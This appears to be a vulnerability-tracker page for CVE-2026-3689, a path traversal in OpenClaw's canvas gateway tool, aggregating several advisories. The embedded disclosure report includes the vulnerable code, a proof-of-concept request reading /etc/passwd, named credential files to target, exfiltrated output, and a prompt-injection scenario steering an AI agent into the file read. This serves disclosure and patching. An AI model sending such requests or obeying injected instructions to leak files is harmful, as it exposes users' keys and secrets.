Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

CVSS 3.0 6.5 MEDIUMEUVD CVSS 3.0 6.5 CVSS 3.0 · [email protected] · Secondary 6.5 MEDIUMCVSS_V4 Publisher rating HIGHFixed by openclaw 2026.2.21KEV status unknown

cve-program · CVE-2026-3689

Published

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability. The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

Read the publisher's advisory

euvd · EUVD-2026-21619

Published

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability. The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

Read the publisher's advisory

nvd · CVE-2026-3689

Published

OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability. The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.

Read the publisher's advisory

osv · GHSA-jq4x-98m3-ggq6

Published

ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability -- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw -- VULNERABILITY DETAILS ------------------------ * Version tested: openclaw 2026.2.17 * Platform tested: macOS 26.3 --- # Analysis ## Description The OpenClaw gateway's `canvas` tool accepts an `a2ui_push` action with a `jsonlPath` parameter that specifies a filesystem path to read. The gateway reads this file using `fs.readFile()` with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process. The file contents are forwarded to the connected node client via the `canvas.a2ui.pushJSONL` WebSocket command. The gateway itself returns `{ ok: true }` to the HTTP caller, confirming the file was read and transmitted. ## Root Cause In `src/agents/tools/canvas-tool.ts`, the `a2ui_push` action handler reads a file from disk without any path restrictions: ```typescript case "a2ui_push": { const jsonl = typeof params.jsonl === "string" && params.jsonl.trim() ? params.jsonl : typeof params.jsonlPath === "string" && params.jsonlPath.trim() ? await fs.readFile(params.jsonlPath.trim(), "utf8") // <-- NO PATH VALIDATION : ""; if (!jsonl.trim()) { throw new Error("jsonl or jsonlPath required"); } await invoke("canvas.a2ui.pushJSONL", { jsonl }); return jsonResult({ ok: true }); } ``` The `jsonlPath` parameter is passed directly to `fs.readFile()` after only a `.trim()` call. There is: - No allowlist of permitted directories - No canonicalization (`path.resolve` / `realpath`) - No check against directory traversal sequences (`..`) - No restriction to `.jsonl` file extensions ## Attack Scenario ### Prompt Injection (Primary) OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call: ``` POST /tools/invoke Authorization: Bearer <agent's token> Content-Type: application/json { "tool": "canvas", "args": { "action": "a2ui_push", "jsonlPath": "/etc/passwd", "node": "node-host" } } ``` The gateway reads `/etc/passwd` (or any file: `~/.ssh/id_rsa`, `~/.aws/credentials`, `openclaw.json` containing the gateway token itself) and can forward the contents to an attacker connected node. ## Reproduction Steps ### Prerequisites - Docker installed - Python 3 - OpenClaw Docker image built as `openclaw:local` ### Steps 1. Navigate to the PoC directory and start the environment: ```bash cd vulnerabilities/01-canvas-a2ui-push-lfi docker compose up -d --wait ``` 2. This starts two containers: - **Gateway** (`openclaw-vuln-01-gateway`): Token-protected OpenClaw gateway on port 18701 - **Node** (`openclaw-vuln-01-node`): WebSocket node client that logs received data (simulates exfiltration) 3. Wait a few seconds for the node to authenticate, then run the PoC: ```bash python3 poc.py ``` 4. The PoC runs three tests: | Test | Description | Result | |------|-------------|--------| | 1 ��� No auth | POST /tools/invoke without token | **401 Unauthorized** | | 2 ��� Exploit | POST /tools/invoke with token, `jsonlPath=/etc/passwd` | **200 OK** (file read) | | 3 ��� Exfiltration | Check node container logs for received file contents | **/etc/passwd contents visible** | 5. Test 2 sends: `{"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}`. The gateway reads `/etc/passwd` via `fs.readFile()` and forwards the contents to the node via `canvas.a2ui.pushJSONL`. The node logs show the full exfiltrated file: ``` [node] ====== EXFILTRATED FILE CONTENTS via a2ui.pushJSONL ====== root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... node:x:1000:1000::/home/node:/bin/bash ``` 6. Cleanup: ```bash docker compose down -v ``` -- CREDIT --------------------------------------- This vulnerability was discovered by: Peter Girnus (@gothburz) and Project AESIR of TrendAI Zero Day Initiative -- FURTHER DETAILS ------------------------------ Supporting files: [ZDI-CAN-29312.zip](https://github.com/user-attachments/files/25445277/ZDI-CAN-29312.zip) If supporting files were contained with this report they are provided within a password protected ZIP file. The password is the ZDI candidate number in the form: ZDI-CAN-XXXX where XXXX is the ID number. Please confirm receipt of this report. We expect all vendors to remediate ZDI vulnerabilities within 120 days of the reported date. If you are ready to release a patch at any point leading up to the deadline, please coordinate with us so that we may release our advisory detailing the issue. If the 120-day deadline is reached and no patch has been made available we will release a limited public advisory with our own mitigations, so that the public can protect themselves in the absence of a patch. Please keep us updated regarding the status of this issue and feel free to contact us at any time: Zero Day Initiative [email protected] The PGP key used for all ZDI vendor communications is available from: http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc -- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells vulnerability details nor exploit code. Instead, upon notifying the affected product vendor, the ZDI provides its Trend Micro TippingPoint customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Please contact Zero Day Initiative for further details or refer to: http://www.zerodayinitiative.com -- DISCLOSURE POLICY ---------------------------- Zero Day Initiative's vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ ## Fix Commit(s) - `39816e61b0c4347a83c9b76bc8883190cfe5a3c9`

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-3689

Published

OpenClaw

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "OpenClaw",
                    "product": "OpenClaw",
                    "versions": [
                        {
                            "version": "openclaw 2026.2.17",
                            "status": "affected"
                        }
                    ],
                    "defaultStatus": "unknown"
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-21619

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Apr 11, 2026, 12:17:24 AM

dateUpdated: Apr 13, 2026, 5:40:53 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-0472: OpenClaw: Mehrere Schwachstellen

CVE-2026-22168 · CVE-2026-22169 · CVE-2026-22170 · CVE-2026-22174 · CVE-2026-22177 · CVE-2026-22179 · CVE-2026-27158 · CVE-2026-27159 · CVE-2026-27164 · CVE-2026-27165 · CVE-2026-27209 · CVE-2026-27524 · CVE-2026-27566 · CVE-2026-28455 · CVE-2026-29607 · CVE-2026-31994 · CVE-2026-31995 · CVE-2026-32000 · CVE-2026-32003 · CVE-2026-32008 · CVE-2026-32010 · CVE-2026-32017 · CVE-2026-32018 · CVE-2026-32019 · CVE-2026-32020 · CVE-2026-32022 · CVE-2026-32024 · CVE-2026-32029 · CVE-2026-32030 · CVE-2026-32032 · CVE-2026-32034 · CVE-2026-32039 · CVE-2026-32045 · CVE-2026-32046 · CVE-2026-32049 · CVE-2026-32056 · CVE-2026-32061 · CVE-2026-32062 · CVE-2026-32063 · CVE-2026-32064 · CVE-2026-32896 · CVE-2026-32897 · CVE-2026-32900 · CVE-2026-32907 · CVE-2026-32908 · CVE-2026-3689 · CVE-2026-3690 · CVE-2026-4039

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-3689

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-04-11T01:16:15.837

lastModified: 2026-06-17T10:44:00.600

1 source CPE criteria · context only
  • cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-jq4x-98m3-ggq6

Published

openclaw

npm

SEMVER · introduced 0 → fixed 2026.2.21

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 25 Nov 14:05 UTC · 277 of 278 readable · 272 fully read · documentation 469/469 current